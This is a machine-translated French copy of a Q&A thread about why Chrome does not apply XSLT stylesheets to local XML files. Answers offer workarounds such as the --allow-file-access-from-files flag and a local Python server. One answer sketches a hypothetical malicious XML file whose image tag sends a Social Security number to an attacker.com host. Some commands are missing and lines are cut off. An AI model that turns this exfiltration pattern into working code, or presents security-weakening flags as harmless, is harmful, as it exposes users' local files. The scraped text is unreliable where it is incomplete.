J'étais en train de regarder dans xslt et j'ai commencé à tester avec les exemples sur w3schools.
Cependant, lorsque j'enregistre les fichiers xml et xsl dans des fichiers et que j'essaye de les ouvrir localement, chrome n'effectue pas la transformation xsl. Il montre juste une page vierge.
J'ai ajouté la <?xml-stylesheet type="text/xsl" href="style.xsl">
balise au document xml, et Firefox le restitue comme il est censé le regarder. De plus, si je regarde les fichiers via un serveur Web, Chrome affiche le fichier tel qu'il est censé le regarder.
Est-ce que Chrome a un problème pour trouver les informations de la feuille de style lorsque le lien est local? Changer le href en file:///C:/xsl/style.xsl
n'a fait aucune différence.
Mise à jour: Cela semble être un effet secondaire d'une politique de sécurité de ne pas traiter file: /// * comme étant la même origine. Cela fait apparaître l'erreur suivante dans la console:
Tentative non sécurisée de chargement du fichier URL: /// C: /xsl-rpg/style.xsl à partir du cadre avec le fichier URL: /// C: /xsl-rpg/data.xml. Les domaines, protocoles et ports doivent correspondre.
file:
protocole Chrome génère la même erreur de domaine.Réponses:
La réponse courte est "Non, utilisez l'un des nombreux navigateurs disponibles " .
La raison pour laquelle cela ne fonctionne pas est due à un problème de sécurité que Chrome a résolu de manière controversée [1] [2] [3] [4] , en empêchant les fichiers XML d'accéder aux fichiers XSLT locaux dans le même répertoire, tandis que HTML les fichiers peuvent accéder aux fichiers .CSS dans le même répertoire très bien.
À travers les problèmes cités ci-dessus, les utilisateurs ont demandé un message d'erreur plus clair (puisque les domaines, les protocoles et les ports correspondent en fait), ou du moins afficher le XML sans le style. Les développeurs Chrome ont ignoré ces demandes.
la source
Vous pouvez le faire localement à l'aide des indicateurs de ligne de commande de Chrome.
Le drapeau spécifique est
--allow-file-access-from-files
Sur OS X: à partir de Terminal.app exécuter
/Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files
Sous Windows: à partir de l'invite de commande, exécutez
%LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files
Remarque: vous devrez probablement quitter Chrome s'il est en cours d'exécution sinon Ch
la source
C:\Program Files (x86)\Google\Chrome\Application
et la commande --allow-file-access-from-files s'exécute très bien, mais mon document XML local (transformé par un fichier XSLT local) ne s'affiche pas./Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --allow-file-access-from-files
travaillé pour moi. De toute évidence, j'utilise Chrome Canary. Après avoir exécuté cette commande, une nouvelle fenêtre Chrome devrait s'ouvrir et vous permettre d'effectuer votre transformation XSL.get-process chrome | stop-process; start-process chrome --allow-file-access-from-files
Si vous voulez vous en tenir à l'OP, la réponse est non (comme d'autres l'ont souligné), mais une façon de résoudre le problème est d'exécuter un simple serveur Web et d'ouvrir les fichiers via http dans chrome. Si vous avez installé python 2.x, vous pouvez exécuter un serveur Web en tapant:
Ou en python 3.x:
puis ouvrez le fichier en utilisant
http://localhost:8000/yourfile.xml
dans chrome. J'espère que vous voulez juste faire votre travail et que ce n'est pas une chose cruciale d'avoir à ouvrir un fichier en utilisantfile://
la source
Il a fallu un peu de déchiffrement sur la page Chrome Bug - ils sont très désireux de ne pas expliquer quel est le problème et pourquoi ils ont choisi de briser tout le monde plutôt que de ne pas briser tout le monde.
Supposons que j'ai un fichier XML - quelque part - sur mon disque dur, par exemple:
Et une entité malveillante - en quelque sorte - a réussi à déposer un fichier Xml malveillant sur mon ordinateur, par exemple:
Imagine TrojanVirusWorm.xml contient une instruction de traitement de feuille de style ( PI ):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
L'attaquant ordonne ensuite à mon navigateur d'accéder au
trojanVirusWorm.xml
fichier enregistré localement .Apparemment, il existe un moyen pour un fichier XML de lire le contenu du fichier XSD (plutôt que d'être transformé par le fichier XSD):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?> <!--And then a miracle happens, and this XML file is able to read the contents of the stylesheet xml file--> <html> <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img> </html>
Je ne comprends pas comment un fichier XML peut lire un fichier de feuille de style. Mais l'équipe Chrome nous assure que c'est un danger et qu'il ne peut pas être résolu.
Tous les autres navigateurs l'ont résolu. Ils l'ont résolu parce que ce n'est pas un problème .
la source
Ma solution de contournement pour voir un XML selon un fichier xsl
Supposons que nous ayons un some_file.xml avec des en-têtes:
<?xml version="1.0" encoding="UTF-8" ?> <?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
https://some-site.com/Common.xsl
et le plaçons à côté dusome_file.xml
href="https://some-site.com/Common.xsl"
àhref="http://localhost:8001/Common.xsl"
python3 -m http.server 8001
http://localhost:8001/some_file.xml
la source
Vous pouvez activer Chrome pour afficher le fichier XSL en modifiant les paramètres de votre navigateur. Une approche plus sûre serait d'y accéder via un serveur Web local, tel que Visual Studio Code Live Server ou Apache. Voir XSLT ne sera pas rendu sur les fichiers locaux pour les étapes.
la source